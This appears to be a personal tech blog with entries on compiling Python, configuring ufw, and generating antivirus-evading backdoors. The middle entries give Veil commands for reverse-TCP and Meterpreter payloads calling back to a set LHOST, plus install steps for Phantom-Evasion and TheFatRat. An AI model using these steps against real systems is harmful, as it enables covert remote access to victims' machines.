Saturday, November 24, 2018

Compiling Python files

Compiling PY to EXE:

1) Utilize PIP to install PYINSTALLER:
>pip install pyinstaller

2) After the installation above is done, leverage PYINSTALLER command to compile PY files into a single EXE file as shown below:
>pyinstaller -F test.py

3) The final EXE file should be under the %pythonPath%\dist folder.



Compiling PY to Byte Code (i.e. pyc):

1) Place all compiled PY files into a folder.

2) Utilize CMD to enter the folder and execute the command below:
>python -m compileall

Monday, November 19, 2018

Install and run Phantom-Evasion

Phantom-Evasion is a backdoor obfuscator.

1) Use Veil to generate a shellcode:
#veil
veil>:use 2
veil>:list payloads
veil>:use rev_tcp
veil>:set BadChars \x00\x0a
veil>:set Encoder xor
veil>:set LHOST 192.168.0.15
veil>:set LPORT 4444
veil>:generate
Copy the shellcode just being generated.

2) Install and run Phantom-Evasion:
#cd ~
#mkdir ./phantom-evasion
#cd phantom-evasion/
#git clone https://github.com/oddcod3/Phantom-Evasion.git
#cd Phantom-Evasion
#chmod a+x ./phantom-evasion.py
#./phantom-evasion.py

Setting up and executing Veil-Evasion

Veil-Evasion is also the backdoor generator helping generate undetectable backdoors.

Installation:
#apt-get update
#apt-get install veil-evasion
#veil

Execution:
#veil

Utilization:
Veil>: use 1
Veil/Evasion>: list
Veil/Evasion>: use 28
[python/meterpreter/rev_tcp>>]: set LHOST 192.168.0.150
[python/meterpreter/rev_tcp>>]: generate
[>] Please enter the base name for output files (default is payload): python_setupx86
[>] Please enter the number of your choice: 1

Setting up and executing TheFatRat

The Fat Rat is the backdoor generator helping generate undetectable backdoors.

Installation:
#cd ~
#mkdir ./fatrat
#cd fatrat
#git clone https://github.com/Screetsec/TheFatRat.git
#cd TheFatRat
#chmod +x setup.sh && ./setup.sh
#chmod a+x ./fatrat
#chmod a+x ./powerfull.sh

Execution:
#./fatrat

Sunday, November 11, 2018

Configure ufw

/* Installation: */
# apt-get update
# apt-get install ufw gufw

/* Enable ufw */
# ufw enable

/* Disable ufw */
# ufw disable

/* Add rules */
# ufw allow from 192.168.0.251
# ufw deny 80/tcp

/* Delete rules */
# ufw delete allow from 192.168.0.251

/* Reload ufw */
# ufw reload

/* Delet rules and disable ufw */
# ufw reset

/* Check current status */
# ufw status verbose

/* Check ufw logs */
# tail -n 30 -f /var/log/messages

/* Start on boot */
# vi /etc/rc.local
/usr/sbin/ufw enable
/usr/sbin/ufw allow from 192.168.0.251
/usr/sbin/ufw deny 80/tcp
/usr/sbin/ufw allow 79:81/tcp
/usr/sbin/ufw deny in on eth0
/usr/sbin/ufw allow out on eth0
[ESC]:ZZ